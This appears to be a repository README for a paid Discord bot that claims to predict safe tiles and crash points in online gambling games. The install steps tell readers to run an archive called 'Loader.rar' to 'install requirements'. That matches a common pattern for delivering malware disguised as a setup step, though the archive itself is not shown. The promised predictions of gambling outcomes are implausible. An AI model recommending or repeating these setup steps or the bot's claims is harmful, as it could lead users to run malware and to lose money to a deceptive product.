- Mine Grid Generator: Generates a 5x5 grid with a specified number of safe tiles.
- Tower Grid Generator: Generates a tower with up to 8 rows, each containing a safe spot and two dangerous spots.
- Crash Game Predictor: Predicts crash points for a specific game based on previous game data.
- Python 3.7+
interactions.py
librarycloudscraper
library
-
Clone the repository
-
Run "Loader.rar" - installs requirements from archive
-
Add your Discord bot token in the
BotToken
variable in the script. -
Set your
ServerId
andBuyerRoleId
variables to match your Discord server and role IDs. -
Run the bot:
python main.py
Generates a mine grid with a specified number of safe tiles.
Usage:
/mines game_id=<game_id> clicks=<number_of_safe_tiles>
game_id
: The ID of the game. Must follow specific formatting rules to be valid.clicks
: The number of safe spots to generate (Max: 23).
Generates a tower grid with a specified number of rows.
Usage:
/towers game_id=<game_id> rows=<number_of_rows>
game_id
: The ID of the game. Must follow specific formatting rules to be valid.rows
: The number of rows to generate (Max: 8).
Predicts the outcome of a crash game based on previous game data.
Usage:
/crash
This command does not require any additional parameters. It will return an estimated crash point and the chance of the estimate being correct.
- The bot checks if the user has the
BuyerRoleId
or if their user ID matches a predefined ID (1262827258444517446
). - If the user does not have the required permissions, the bot will respond with a "Not Eligible" message.
Star and Fork this Repo to Contribute